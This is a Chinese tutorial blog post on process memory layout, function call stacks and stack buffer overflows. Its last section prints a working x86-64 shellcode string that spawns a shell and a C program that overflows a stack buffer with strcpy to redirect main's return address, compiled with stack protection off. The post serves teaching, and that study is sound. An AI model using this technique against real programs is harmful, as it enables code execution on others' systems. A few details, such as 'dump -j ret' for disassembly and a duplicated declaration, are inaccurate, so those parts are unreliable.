函数调用栈与缓冲区溢出

进程空间分配

每一个进程都有自己的一个进程堆栈空间。在Linux界面执行一个执行码时,Shell进程会fork一个子进程,再调用exec系统调用在子进程中执行该执行码。exec系统调用执行新程序时会把命令行参数和环境变量表传递给main函数,它们在整个进程堆栈空间中的位置如下图所示。
在这里插入图片描述
注意:stack区是高地址->低地址,heap区相反。

  • heap区:程序执行时,按照程序需要动态分配的内存空间。malloc、calloc、realloc。如正在处理的数据,编辑的文档。
  • stack区:存放程序执行时局部变量、函数调用信息、中断现场保留信息。进程中的不同线程可以共享代码段和数据段,但是都有自己的stack。CPU堆栈段指针会在栈顶根据执行情况进行上下移动。
  • bss段:未初始化数据段,如未初始化的全局变量、全局静态变量、局部静态变量,程序执行前操作系统将此段初始化为0。
  • data区:已初始化的全局变量、全局静态变量、局部静态变量
  • code区:可执行文件和库

一个经典的例子

int a = 0; //全局初始化区
int a = 0; //全局初始化区
char *p1; //全局未初始化区
main() {
    int b; //栈
    char s[] = "abc"; //栈
    char *p2; //栈
    char *p3 = "123456"; //123456\0在常量区,p3在栈上。
    static int c = 0; //全局(静态)初始化区
    p1 = (char *)malloc(10);
    p2 = (char *)malloc(20);
    //分配得来得10和20字节的区域就在堆区。
    strcpy(p1, "123456"); //123456\0放在常量区,编译器可能会将它与p3所指向的"123456"优化成一个地方。
}

参考:
https://blog.csdn.net/yingms/article/details/53188974

函数调用和返回地址

如何查看程序的汇编代码?
linux系统中使用dump -j ret
汇编中的寄存器

  • 指令指针 eip,自增1,计算机会沿着eip的方向顺序执行
  • 函数栈的栈底和栈顶,ebp、esp(32位OS),rbp、rsp(64位OS)

当发生函数调用时,汇编语言里使用call命令,产生两个效果:

  • esp减4字节,将返回地址(调用指令的下一条指令的地址)压入esp。函数返回时,返回地址都会从堆栈中弹出。
  • 跳转到被调用的函数栈,具体操作是eip指向被调用函数的stack

这个过程中,esp是这样变化的,首先,call引起返回地址入栈,esp从0xbffff320变为0xbffff31c;然后,eip入栈,esp从0xbffff31c变为0xbffff318。然后ebp指向esp,获得当前的esp的值。在接下来,esp减小0x10,成为0xbffff308。function函数也获得了一定的栈空间。

调用栈变化如图
在这里插入图片描述
下面举例分析

void function(int a,int b, int c){
        int *ret;
        ret = &a - 1;
        (*ret)+= 7;
}

void main(){
        int x;
        x = 0;
        function(1,2,3);
        x = 1;
        printf("x is %d\n",x);
}

32位系统中,function的参数abc存放在main的调用栈中。
调用function的返回地址:x=1指令在调用栈中的地址。
地址空间一般用十六进制表示,+1、-1的单位是字节。
ret = &a - 1 得到返回地址的存放地址。优于ret时int型指针。所以 -1表示 -4字节,在十六进制地址上表示 - 0x4。
*ret + 7 改变返回地址。即x=1指令的地址 + 0x7 (十六进制),x=1这条指令正好占7个字节,越过x=1,直接printf。
所以运行结果是x is 0。

64位系统中

void function(unsigned long a, unsigned long b, unsigned long c){
        unsigned long * ret;
        ret = &a + 4; // + 4*8字节  , 即 + 0x20
        //也可以写成下面这种形式
        //ret = (unsigned long *)((char *)&a + 32);
        (*ret) += 7;
}
void main(){
        int x;
        x = 0;
        function(1,2,3);
        x = 1;
        printf("x is %d\n",x);
}

返回地址不变。
64位系统中,通过寄存器把main中的实参传递到function调用栈的形参abc中。
ret=&a + 4,取得返回地址的地址。
*ret = 7 ,将返回地址指向printf。

缓冲区溢出攻击

利用shellcode演示缓冲区溢出。
shellcode是程序代码的汇编形式,存在字符串中,可以被调用执行,但是不能执行堆栈区的代码,所以可以放在数据区。

//这段shellcode的作用是打开一个新的shell覆盖当前shell
char *shellcode = "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";
char large_string[256];
void main() {
        char buffer[96];
        int i;
        unsigned long *long_ptr = (unsigned long *) large_string;
        /*使用buffer首地址填充large_string*/
        for (i = 0; i < 32; i++)
                *(long_ptr + i) = (unsigned long) buffer; 
       /*将shellcode拷贝进large string,这样largestring的起始部分是shellcode,后边全是buffer的地址*/
        for (i = 0; i < strlen(shellcode); i++)
                large_string[i] = shellcode[i];
         /*使用strcpy,保证buffer首地址就是shellode的起始*,并且通过溢出将调用main的返回地址覆盖位buffer的地址*/
        strcpy(buffer,large_string);
}

main函数也是被调用的,它的栈底下面也紧挨着存放了一个返回地址。
如果将这个返回地址变成shellcode的地址,那么就可以执行shellcode。
如何改变返回地址呢?
方法是缓冲区溢出。如用strcpy将字符串a[100]拷贝到buffer[10],由于strcpy不执行长度校验,所以它会把超出buffer的长度直接
拷贝覆盖到buffer的后面。利用这一点可以对调用main时的返回地址重定向。

注意:编译时,关闭栈溢出保护

 gcc overflow.c -fno-stack-protector -o overflow

否则会出现如下错误
在这里插入图片描述

参考:
https://zhuanlan.zhihu.com/p/62742596
https://zhuanlan.zhihu.com/p/62471331

posted @ 2019-08-15 19:10  chzhyang  阅读(618)  评论(0编辑  收藏  举报